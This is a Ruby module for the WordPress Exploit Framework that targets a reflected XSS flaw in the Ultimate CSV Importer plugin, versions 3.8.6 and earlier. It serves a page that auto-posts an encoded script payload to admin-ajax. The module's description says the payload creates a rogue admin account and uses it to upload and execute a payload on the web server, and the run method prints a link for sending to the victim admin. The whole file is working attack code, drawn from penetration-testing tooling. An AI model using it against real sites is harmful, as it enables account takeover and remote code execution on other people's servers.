# frozen_string_literal: true

class Wpxf::Exploit::UltimateCsvImporterReflectedXssShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'Ultimate CSV Importer <= 3.8.6 Reflected XSS Shell Upload',
      desc: 'This module prepares a payload and link that can be sent to an '\
            'admin user which when visited with a valid session will create '\
            'a new admin user which will be used to upload and execute the '\
            'selected payload in the context of the web server.',
      author: [
        'Rahul Pratap Singh', # Discovery and disclosure
        'rastating'           # WPXF module
      ],
      references: [
        ['WPVDB', '8368'],
        ['URL', 'https://0x62626262.wordpress.com/2016/01/26/wp-ultimate-csv-importer-xss-vulnerability/']
      ],
      date: 'Jan 27 2016'
    )

    register_options([
      StringOption.new(
        name: 'initial_req_path',
        desc: 'The path to be used to identify the initial request',
        required: true,
        default: Utility::Text.rand_alpha(rand(5..10))
      )
    ])
  end

  def check
    check_plugin_version_from_readme('wp-ultimate-csv-importer', '3.8.7', '3.8')
  end

  def initial_req_path
    normalized_option_value('initial_req_path')
  end

  def initial_url
    normalize_uri(xss_url, initial_req_path)
  end

  def initial_script
    %Q|<html><head></head><body>
        <script>
          #{js_post}
          post('#{wordpress_url_admin_ajax}', {
            action: 'trans_alert_str',
            alertmsg: "<script>#{xss_ascii_encoded_include_script}<\\/script>"
          });
        </script>
      </body></html>
    |
  end

  def on_http_request(path, params, headers)
    if path.eql? normalize_uri(xss_path, initial_req_path)
      emit_info 'Initial request received...'
      return { type: 'text/html', body: initial_script }
    else
      super
    end
  end

  def run
    return false unless super

    @success = false
    emit_info 'Provide the URL below to the victim to begin the payload upload'
    puts
    puts initial_url
    puts

    start_http_server
    return @success
  end
end
